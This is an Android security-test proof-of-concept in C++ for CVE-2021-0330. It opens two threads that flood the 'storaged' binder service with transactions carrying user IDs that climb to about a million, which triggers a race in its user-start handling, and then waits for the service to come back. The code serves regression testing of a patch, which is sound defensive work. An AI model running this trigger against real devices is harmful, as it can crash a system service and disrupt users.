hostsidetests/securitybulletin/securityPatch/CVE-2021-0330/poc.cpp

/**
 * Copyright (C) 2021 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#include <binder/IServiceManager.h>
#include <binder/Parcel.h>
#include <pthread.h>
#include <unistd.h>
#include "../includes/common.h"

using namespace android;

static int userId = 0;
constexpr int kMaxThreads = 2;
constexpr int kMaxUsers = 1024 * 1024;
constexpr int kSleepDuration = 5;


static void *trigger_onUserStarted(void *p __attribute__((unused))) {
    sp<IServiceManager> sm = defaultServiceManager();
    sp<IBinder> service = sm->checkService(String16("storaged"));

    if (not service) {
        return nullptr;
    }

    while (userId < kMaxUsers) {
        Parcel data, reply;
        data.writeInterfaceToken(service->getInterfaceDescriptor());
        data.writeInt32(++userId);
        service->transact(1, data, &reply, 0);
    }

    return nullptr;
}

int main() {
    pthread_t threads[kMaxThreads];

    for (int t = 0; t < kMaxThreads; ++t) {
        pthread_create(&threads[t], nullptr, trigger_onUserStarted, nullptr);
    }
    for (int t = 0; t < kMaxThreads; ++t) {
        pthread_join(threads[t], nullptr);
    }

    time_t currentTime = start_timer();
    while (timer_active(currentTime)) {
        sp<IServiceManager> sm = defaultServiceManager();
        sp<IBinder> service = sm->checkService(String16("storaged"));
        if (service) {
            break;
        }
        sleep(kSleepDuration);
    }

    return EXIT_SUCCESS;
}